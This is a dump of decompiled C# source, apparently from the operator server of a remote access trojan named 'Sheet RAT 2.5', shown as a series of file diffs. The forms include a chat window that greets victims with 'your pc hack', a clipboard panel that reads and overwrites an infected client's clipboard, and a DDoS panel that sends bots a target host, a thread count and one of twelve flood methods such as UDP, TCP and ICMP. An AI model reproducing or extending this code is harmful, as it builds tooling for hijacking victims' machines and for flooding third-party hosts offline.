this.pictureBox1.TabStop = false;
|
||||
this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click);
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.textBox1.CustomButton.Image = (Image) null;
|
||||
this.textBox1.CustomButton.Location = new Point(561, 1);
|
||||
this.textBox1.CustomButton.Name = "";
|
||||
this.textBox1.CustomButton.Size = new Size(29, 29);
|
||||
this.textBox1.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.textBox1.CustomButton.TabIndex = 1;
|
||||
this.textBox1.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.textBox1.CustomButton.UseSelectable = true;
|
||||
this.textBox1.CustomButton.Visible = false;
|
||||
this.textBox1.Lines = new string[1]
|
||||
{
|
||||
"Hello, your pc hack tool sheet rat."
|
||||
};
|
||||
this.textBox1.Location = new Point(12, 461);
|
||||
this.textBox1.MaxLength = (int) short.MaxValue;
|
||||
this.textBox1.Multiline = true;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.PasswordChar = char.MinValue;
|
||||
this.textBox1.ScrollBars = ScrollBars.None;
|
||||
this.textBox1.SelectedText = "";
|
||||
this.textBox1.SelectionLength = 0;
|
||||
this.textBox1.SelectionStart = 0;
|
||||
this.textBox1.ShortcutsEnabled = true;
|
||||
this.textBox1.Size = new Size(591, 31 /*0x1F*/);
|
||||
this.textBox1.Style = MetroColorStyle.Lime;
|
||||
this.textBox1.TabIndex = 8;
|
||||
this.textBox1.Text = "Hello, your pc hack tool sheet rat.";
|
||||
this.textBox1.Theme = MetroThemeStyle.Dark;
|
||||
this.textBox1.UseSelectable = true;
|
||||
this.textBox1.UseStyleColors = true;
|
||||
this.textBox1.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.textBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.button1.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
|
||||
this.button1.Location = new Point(604, 461);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(75, 31 /*0x1F*/);
|
||||
this.button1.Style = MetroColorStyle.Lime;
|
||||
this.button1.TabIndex = 8;
|
||||
this.button1.Text = "Send";
|
||||
this.button1.Theme = MetroThemeStyle.Dark;
|
||||
this.button1.UseSelectable = true;
|
||||
this.button1.UseStyleColors = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click_1);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(691, 523);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.ChatikPanel);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = "Chat";
|
||||
this.ShowIcon = false;
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "Chat Hacker";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.panel1.ResumeLayout(false);
|
||||
((ISupportInitialize) this.pictureBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,171 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormClipboard
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormClipboard : MetroForm
|
||||
{
|
||||
public Clients client;
|
||||
public Clients ParentClient;
|
||||
private IContainer components;
|
||||
public Timer timer1;
|
||||
private MetroButton button1;
|
||||
private MetroButton metroButton1;
|
||||
public MetroTextBox textBox1;
|
||||
|
||||
public FormClipboard() => this.InitializeComponent();
|
||||
|
||||
private void _FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
this.timer1.Stop();
|
||||
if (this.client != null)
|
||||
this.client.Disconnected();
|
||||
e.Cancel = false;
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.FormClosing += new FormClosingEventHandler(this._FormClosing);
|
||||
if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime)
|
||||
return;
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.button1.Style = Customs.customs.Style;
|
||||
this.metroButton1.Style = Customs.customs.Style;
|
||||
this.textBox1.Style = Customs.customs.Style;
|
||||
}
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.button1.Theme = Customs.customs.Theme;
|
||||
this.metroButton1.Theme = Customs.customs.Theme;
|
||||
this.textBox1.Theme = Customs.customs.Theme;
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.client.Connect && this.ParentClient.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.client == null)
|
||||
return;
|
||||
this.client.Send((object) "GetClipboard");
|
||||
}
|
||||
|
||||
private void metroButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.client == null)
|
||||
return;
|
||||
this.client.Send((object) ("SetClipboard<@>" + Convert.ToBase64String(Encoding.UTF8.GetBytes(this.textBox1.Text))));
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormClipboard));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new MetroTextBox();
|
||||
this.button1 = new MetroButton();
|
||||
this.metroButton1 = new MetroButton();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.textBox1.CustomButton.Image = (Image) null;
|
||||
this.textBox1.CustomButton.Location = new Point(160 /*0xA0*/, 1);
|
||||
this.textBox1.CustomButton.Name = "";
|
||||
this.textBox1.CustomButton.Size = new Size(329, 329);
|
||||
this.textBox1.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.textBox1.CustomButton.TabIndex = 1;
|
||||
this.textBox1.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.textBox1.CustomButton.UseSelectable = true;
|
||||
this.textBox1.CustomButton.Visible = false;
|
||||
this.textBox1.Lines = new string[0];
|
||||
this.textBox1.Location = new Point(23, 63 /*0x3F*/);
|
||||
this.textBox1.MaxLength = (int) short.MaxValue;
|
||||
this.textBox1.Multiline = true;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.PasswordChar = char.MinValue;
|
||||
this.textBox1.ScrollBars = ScrollBars.None;
|
||||
this.textBox1.SelectedText = "";
|
||||
this.textBox1.SelectionLength = 0;
|
||||
this.textBox1.SelectionStart = 0;
|
||||
this.textBox1.ShortcutsEnabled = true;
|
||||
this.textBox1.Size = new Size(490, 331);
|
||||
this.textBox1.Style = MetroColorStyle.Lime;
|
||||
this.textBox1.TabIndex = 8;
|
||||
this.textBox1.Theme = MetroThemeStyle.Dark;
|
||||
this.textBox1.UseSelectable = true;
|
||||
this.textBox1.UseStyleColors = true;
|
||||
this.textBox1.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.textBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.button1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left;
|
||||
this.button1.Location = new Point(23, 400);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(93, 31 /*0x1F*/);
|
||||
this.button1.Style = MetroColorStyle.Lime;
|
||||
this.button1.TabIndex = 8;
|
||||
this.button1.Text = "Get Clipboard";
|
||||
this.button1.Theme = MetroThemeStyle.Dark;
|
||||
this.button1.UseSelectable = true;
|
||||
this.button1.UseStyleColors = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.metroButton1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left;
|
||||
this.metroButton1.Location = new Point(122, 400);
|
||||
this.metroButton1.Name = "metroButton1";
|
||||
this.metroButton1.Size = new Size(93, 31 /*0x1F*/);
|
||||
this.metroButton1.Style = MetroColorStyle.Lime;
|
||||
this.metroButton1.TabIndex = 9;
|
||||
this.metroButton1.Text = "Set Clipboard";
|
||||
this.metroButton1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroButton1.UseSelectable = true;
|
||||
this.metroButton1.UseStyleColors = true;
|
||||
this.metroButton1.Click += new EventHandler(this.metroButton1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(536, 442);
|
||||
this.Controls.Add((Control) this.metroButton1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormClipboard);
|
||||
this.ShowIcon = false;
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "Clipboard";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,251 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormDDOS
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormDDOS : MetroForm
|
||||
{
|
||||
public List<Clients> plugins = new List<Clients>();
|
||||
private IContainer components;
|
||||
public MetroComboBox MethodsAttack;
|
||||
public NumericUpDown Threads;
|
||||
private MetroLabel metroLabel4;
|
||||
public MetroTextBox Host;
|
||||
public MetroButton metroButton1;
|
||||
private Timer timer1;
|
||||
|
||||
public FormDDOS() => this.InitializeComponent();
|
||||
|
||||
private void FormDDOS_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.FormClosing += (FormClosingEventHandler) ((t, p) =>
|
||||
{
|
||||
Program.form.DDosActive = false;
|
||||
this.metroButton1.Text = "Start";
|
||||
p.Cancel = true;
|
||||
this.Hide();
|
||||
this.Refresh();
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
clients.Disconnected();
|
||||
this.plugins.Clear();
|
||||
});
|
||||
if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime)
|
||||
return;
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.metroButton1.Style = Customs.customs.Style;
|
||||
this.MethodsAttack.Style = Customs.customs.Style;
|
||||
this.Host.Style = Customs.customs.Style;
|
||||
this.metroLabel4.Style = Customs.customs.Style;
|
||||
this.Style = Customs.customs.Style;
|
||||
this.Threads.ForeColor = Customs.customs.StyleToColor();
|
||||
}
|
||||
if (Customs.customs.Theme == MetroThemeStyle.Dark)
|
||||
return;
|
||||
this.Threads.BackColor = Customs.customs.ThemeToColor();
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.metroButton1.Theme = Customs.customs.Theme;
|
||||
this.MethodsAttack.Theme = Customs.customs.Theme;
|
||||
this.Host.Theme = Customs.customs.Theme;
|
||||
this.metroLabel4.Theme = Customs.customs.Theme;
|
||||
}
|
||||
|
||||
public Clients[] ClientsAll() => this.plugins.ToArray();
|
||||
|
||||
private void metroButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.metroButton1.Text == "Start")
|
||||
{
|
||||
this.metroButton1.Text = "Stop";
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
{
|
||||
string message = $"Start<@>{this.MethodsAttack.Text}<@>{this.Host.Text}<@>{this.Threads.Value.ToString()}";
|
||||
clients.Send((object) message);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
this.metroButton1.Text = "Start";
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
clients.Send((object) "Stop");
|
||||
}
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.Text = $"D'Dos panel online[{this.plugins.Count}]";
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormDDOS));
|
||||
this.MethodsAttack = new MetroComboBox();
|
||||
this.Host = new MetroTextBox();
|
||||
this.metroButton1 = new MetroButton();
|
||||
this.Threads = new NumericUpDown();
|
||||
this.metroLabel4 = new MetroLabel();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.Threads.BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.MethodsAttack.FontSize = MetroComboBoxSize.Small;
|
||||
this.MethodsAttack.FormattingEnabled = true;
|
||||
this.MethodsAttack.ItemHeight = 19;
|
||||
this.MethodsAttack.Items.AddRange(new object[12]
|
||||
{
|
||||
(object) "Post method 1",
|
||||
(object) "Post method 2",
|
||||
(object) "Get method 1",
|
||||
(object) "Get method 2",
|
||||
(object) "Get method 3",
|
||||
(object) "Udp",
|
||||
(object) "Tcp",
|
||||
(object) "Connecting",
|
||||
(object) "IpV4Flood",
|
||||
(object) "IpV6Flood",
|
||||
(object) "ICMP",
|
||||
(object) "Multi"
|
||||
});
|
||||
this.MethodsAttack.Location = new Point(22, 62);
|
||||
this.MethodsAttack.Margin = new Padding(2);
|
||||
this.MethodsAttack.Name = "MethodsAttack";
|
||||
this.MethodsAttack.Size = new Size(324, 25);
|
||||
this.MethodsAttack.Style = MetroColorStyle.Lime;
|
||||
this.MethodsAttack.TabIndex = 36;
|
||||
this.MethodsAttack.Theme = MetroThemeStyle.Dark;
|
||||
this.MethodsAttack.UseSelectable = true;
|
||||
this.MethodsAttack.UseStyleColors = true;
|
||||
this.Host.CustomButton.Image = (Image) null;
|
||||
this.Host.CustomButton.Location = new Point(302, 1);
|
||||
this.Host.CustomButton.Name = "";
|
||||
this.Host.CustomButton.Size = new Size(21, 21);
|
||||
this.Host.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.Host.CustomButton.TabIndex = 1;
|
||||
this.Host.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.Host.CustomButton.UseSelectable = true;
|
||||
this.Host.CustomButton.Visible = false;
|
||||
this.Host.Lines = new string[1]{ "host" };
|
||||
this.Host.Location = new Point(22, 105);
|
||||
this.Host.MaxLength = (int) short.MaxValue;
|
||||
this.Host.Name = "Host";
|
||||
this.Host.PasswordChar = char.MinValue;
|
||||
this.Host.ScrollBars = ScrollBars.None;
|
||||
this.Host.SelectedText = "";
|
||||
this.Host.SelectionLength = 0;
|
||||
this.Host.SelectionStart = 0;
|
||||
this.Host.ShortcutsEnabled = true;
|
||||
this.Host.Size = new Size(324, 23);
|
||||
this.Host.Style = MetroColorStyle.Lime;
|
||||
this.Host.TabIndex = 37;
|
||||
this.Host.Text = "host";
|
||||
this.Host.Theme = MetroThemeStyle.Dark;
|
||||
this.Host.UseSelectable = true;
|
||||
this.Host.UseStyleColors = true;
|
||||
this.Host.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.Host.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.metroButton1.Location = new Point(22, 149);
|
||||
this.metroButton1.Name = "metroButton1";
|
||||
this.metroButton1.Size = new Size(94, 27);
|
||||
this.metroButton1.Style = MetroColorStyle.Lime;
|
||||
this.metroButton1.TabIndex = 38;
|
||||
this.metroButton1.Text = "Start";
|
||||
this.metroButton1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroButton1.UseSelectable = true;
|
||||
this.metroButton1.UseStyleColors = true;
|
||||
this.metroButton1.Click += new EventHandler(this.metroButton1_Click);
|
||||
this.Threads.BackColor = Color.Black;
|
||||
this.Threads.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||
this.Threads.ForeColor = Color.FromArgb(165, 219, 0);
|
||||
this.Threads.Increment = new Decimal(new int[4]
|
||||
{
|
||||
5,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.Threads.Location = new Point(121, 149);
|
||||
this.Threads.Margin = new Padding(2);
|
||||
this.Threads.Maximum = new Decimal(new int[4]
|
||||
{
|
||||
2000000,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.Threads.Minimum = new Decimal(new int[4]
|
||||
{
|
||||
10,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.Threads.Name = "Threads";
|
||||
this.Threads.Size = new Size(55, 20);
|
||||
this.Threads.TabIndex = 39;
|
||||
this.Threads.TextAlign = HorizontalAlignment.Center;
|
||||
this.Threads.UpDownAlign = LeftRightAlignment.Left;
|
||||
this.Threads.Value = new Decimal(new int[4]
|
||||
{
|
||||
10,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.metroLabel4.AutoSize = true;
|
||||
this.metroLabel4.Location = new Point(180, 149);
|
||||
this.metroLabel4.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel4.Name = "metroLabel4";
|
||||
this.metroLabel4.Size = new Size(74, 19);
|
||||
this.metroLabel4.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel4.TabIndex = 40;
|
||||
this.metroLabel4.Text = "<- Threads";
|
||||
this.metroLabel4.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel4.UseStyleColors = true;
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 5000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(389, 224 /*0xE0*/);
|
||||
this.Controls.Add((Control) this.metroLabel4);
|
||||
this.Controls.Add((Control) this.Threads);
|
||||
this.Controls.Add((Control) this.metroButton1);
|
||||
this.Controls.Add((Control) this.Host);
|
||||
this.Controls.Add((Control) this.MethodsAttack);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormDDOS);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "D'Dos panel online[0]";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormDDOS_Load);
|
||||
this.Threads.EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,174 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormFreendConnect
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormFreendConnect : MetroForm
|
||||
{
|
||||
public bool started;
|
||||
private IContainer components;
|
||||
public MetroTextBox IP;
|
||||
public MetroTextBox GROUP;
|
||||
private MetroButton button2;
|
||||
private MetroButton button3;
|
||||
|
||||
public FormFreendConnect() => this.InitializeComponent();
|
||||
|
||||
private void FormFreendConnect_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime)
|
||||
return;
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.IP.Style = Customs.customs.Style;
|
||||
this.GROUP.Style = Customs.customs.Style;
|
||||
this.button2.Style = Customs.customs.Style;
|
||||
this.button3.Style = Customs.customs.Style;
|
||||
}
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.IP.Theme = Customs.customs.Theme;
|
||||
this.GROUP.Theme = Customs.customs.Theme;
|
||||
this.button2.Theme = Customs.customs.Theme;
|
||||
this.button3.Theme = Customs.customs.Theme;
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.started = true;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button3_Click(object sender, EventArgs e) => this.Close();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.IP = new MetroTextBox();
|
||||
this.GROUP = new MetroTextBox();
|
||||
this.button2 = new MetroButton();
|
||||
this.button3 = new MetroButton();
|
||||
this.SuspendLayout();
|
||||
this.IP.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.IP.CustomButton.Image = (Image) null;
|
||||
this.IP.CustomButton.Location = new Point(469, 1);
|
||||
this.IP.CustomButton.Name = "";
|
||||
this.IP.CustomButton.Size = new Size(23, 23);
|
||||
this.IP.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.IP.CustomButton.TabIndex = 1;
|
||||
this.IP.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.IP.CustomButton.UseSelectable = true;
|
||||
this.IP.CustomButton.Visible = false;
|
||||
this.IP.Lines = new string[1]{ "127.0.0.1:5000" };
|
||||
this.IP.Location = new Point(23, 63 /*0x3F*/);
|
||||
this.IP.MaxLength = (int) short.MaxValue;
|
||||
this.IP.Name = "IP";
|
||||
this.IP.PasswordChar = char.MinValue;
|
||||
this.IP.ScrollBars = ScrollBars.None;
|
||||
this.IP.SelectedText = "";
|
||||
this.IP.SelectionLength = 0;
|
||||
this.IP.SelectionStart = 0;
|
||||
this.IP.ShortcutsEnabled = true;
|
||||
this.IP.Size = new Size(493, 25);
|
||||
this.IP.Style = MetroColorStyle.Lime;
|
||||
this.IP.TabIndex = 19;
|
||||
this.IP.Text = "127.0.0.1:5000";
|
||||
this.IP.Theme = MetroThemeStyle.Dark;
|
||||
this.IP.UseSelectable = true;
|
||||
this.IP.UseStyleColors = true;
|
||||
this.IP.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.IP.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.GROUP.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.GROUP.CustomButton.Image = (Image) null;
|
||||
this.GROUP.CustomButton.Location = new Point(469, 1);
|
||||
this.GROUP.CustomButton.Name = "";
|
||||
this.GROUP.CustomButton.Size = new Size(23, 23);
|
||||
this.GROUP.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.GROUP.CustomButton.TabIndex = 1;
|
||||
this.GROUP.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.GROUP.CustomButton.UseSelectable = true;
|
||||
this.GROUP.CustomButton.Visible = false;
|
||||
this.GROUP.Lines = new string[1]{ "Freend_%GROUP%" };
|
||||
this.GROUP.Location = new Point(23, 94);
|
||||
this.GROUP.MaxLength = (int) short.MaxValue;
|
||||
this.GROUP.Name = "GROUP";
|
||||
this.GROUP.PasswordChar = char.MinValue;
|
||||
this.GROUP.ScrollBars = ScrollBars.None;
|
||||
this.GROUP.SelectedText = "";
|
||||
this.GROUP.SelectionLength = 0;
|
||||
this.GROUP.SelectionStart = 0;
|
||||
this.GROUP.ShortcutsEnabled = true;
|
||||
this.GROUP.Size = new Size(493, 25);
|
||||
this.GROUP.Style = MetroColorStyle.Lime;
|
||||
this.GROUP.TabIndex = 20;
|
||||
this.GROUP.Text = "Freend_%GROUP%";
|
||||
this.GROUP.Theme = MetroThemeStyle.Dark;
|
||||
this.GROUP.UseSelectable = true;
|
||||
this.GROUP.UseStyleColors = true;
|
||||
this.GROUP.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.GROUP.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.button2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
this.button2.Location = new Point(22, 124);
|
||||
this.button2.Margin = new Padding(2);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(85, 25);
|
||||
this.button2.Style = MetroColorStyle.Lime;
|
||||
this.button2.TabIndex = 30;
|
||||
this.button2.Text = "Connect";
|
||||
this.button2.Theme = MetroThemeStyle.Dark;
|
||||
this.button2.UseCustomForeColor = true;
|
||||
this.button2.UseSelectable = true;
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.button3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
this.button3.Location = new Point(111, 124);
|
||||
this.button3.Margin = new Padding(2);
|
||||
this.button3.Name = "button3";
|
||||
this.button3.Size = new Size(56, 25);
|
||||
this.button3.Style = MetroColorStyle.Lime;
|
||||
this.button3.TabIndex = 29;
|
||||
this.button3.Text = "Cancel";
|
||||
this.button3.Theme = MetroThemeStyle.Dark;
|
||||
this.button3.UseCustomForeColor = true;
|
||||
this.button3.UseSelectable = true;
|
||||
this.button3.Click += new EventHandler(this.button3_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(539, 169);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button3);
|
||||
this.Controls.Add((Control) this.GROUP);
|
||||
this.Controls.Add((Control) this.IP);
|
||||
this.Name = nameof (FormFreendConnect);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "Connect add";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormFreendConnect_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
